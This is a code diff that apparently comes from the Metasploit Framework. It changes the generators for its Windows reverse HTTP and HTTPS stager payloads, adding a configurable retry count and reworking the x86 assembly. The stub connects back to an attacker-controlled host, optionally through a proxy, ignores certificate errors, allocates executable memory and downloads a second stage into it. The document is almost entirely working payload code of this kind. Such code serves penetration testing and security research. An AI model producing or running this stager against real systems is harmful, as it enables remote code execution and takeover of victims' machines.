diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index e2533cc466..e3762a0bd1 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -28,11 +28,12 @@ module Payload::Windows::ReverseHttp register_advanced_options( [ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) ], self.class) end @@ -46,7 +47,8 @@ module Payload::Windows::ReverseHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -59,7 +61,8 @@ module Payload::Windows::ReverseHttp proxy_port: datastore['PayloadProxyPort'], proxy_user: datastore['PayloadProxyUser'], proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'] + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_http(conf) @@ -130,24 +133,23 @@ module Payload::Windows::ReverseHttp end # - # Dynamic payload generation + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Fixnum] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # def asm_reverse_http(opts={}) - # - # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] - # proxy_host: [proxy-server] - # proxy_port: [port] - # proxy_user: [username] - # proxy_pass: [password] - # proxy_type: [HTTP|SOCKS] - # - + retry_count = [opts[:retry_count].to_i, 1].max proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -202,25 +204,19 @@ module Payload::Windows::ReverseHttp push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) - - set_retry: - push.i8 8 ; retry 8 times should be enough - pop edi - xor ebx, ebx ; Set ebx to NULL to use in future arguments ^ if proxy_enabled asm << %Q^ - call get_proxy_server - db "#{proxy_info}", 0x00 - get_proxy_server: - pop ecx internetopen: push ebx ; DWORD dwFlags push esp ; LPCTSTR lpszProxyBypass ("" = empty string) - push ecx ; LPCTSTR lpszProxyName (NULL) - push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; LPCTSTR lpszProxyName (via call) + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp @@ -242,7 +238,7 @@ module Payload::Windows::ReverseHttp internetconnect: push ebx ; DWORD_PTR dwContext (NULL) push ebx ; dwFlags - push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT @@ -261,15 +257,14 @@ module Payload::Windows::ReverseHttp if proxy_enabled && proxy_user asm << %Q^ + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} call set_proxy_username proxy_username: db "#{proxy_user}",0x00 set_proxy_username: - pop ecx ; Save the proxy username into ecx - ; DWORD dwBufferLength (length of username) - push #{proxy_user.length} - push ecx ; LPVOID lpBuffer (username) - push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + ; LPVOID lpBuffer (username from previous call) + push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) push esi ; hConnection push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -278,15 +273,14 @@ module Payload::Windows::ReverseHttp if proxy_enabled && proxy_pass asm << %Q^ + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} call set_proxy_password proxy_password: db "#{proxy_pass}",0x00 set_proxy_password: - pop ecx ; Save the proxy password into ecx - ; DWORD dwBufferLength (length of password) - push #{proxy_pass.length} - push ecx ; LPVOID lpBuffer (password) - push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + ; LPVOID lpBuffer (password from previous call) + push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) push esi ; hConnection push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -307,6 +301,11 @@ module Payload::Windows::ReverseHttp call ebp xchg esi, eax ; save hHttpRequest in esi + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + send_request: ^ @@ -321,9 +320,9 @@ module Payload::Windows::ReverseHttp ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp - push.i8 4 ; sizeof(dwFlags) + push 4 ; sizeof(dwFlags) push eax ; &dwFlags - push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -364,7 +363,7 @@ module Payload::Windows::ReverseHttp asm << %Q^ allocate_memory: - push.i8 0x40 ; PAGE_EXECUTE_READWRITE + push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index 7a3e502818..7b61d72aec 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_reverse_https( + ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW), - ssl: true) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -56,7 +57,8 @@ module Payload::Windows::ReverseHttps proxy_port: datastore['PayloadProxyPort'], proxy_user: datastore['PayloadProxyUser'], proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'] + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_https(conf)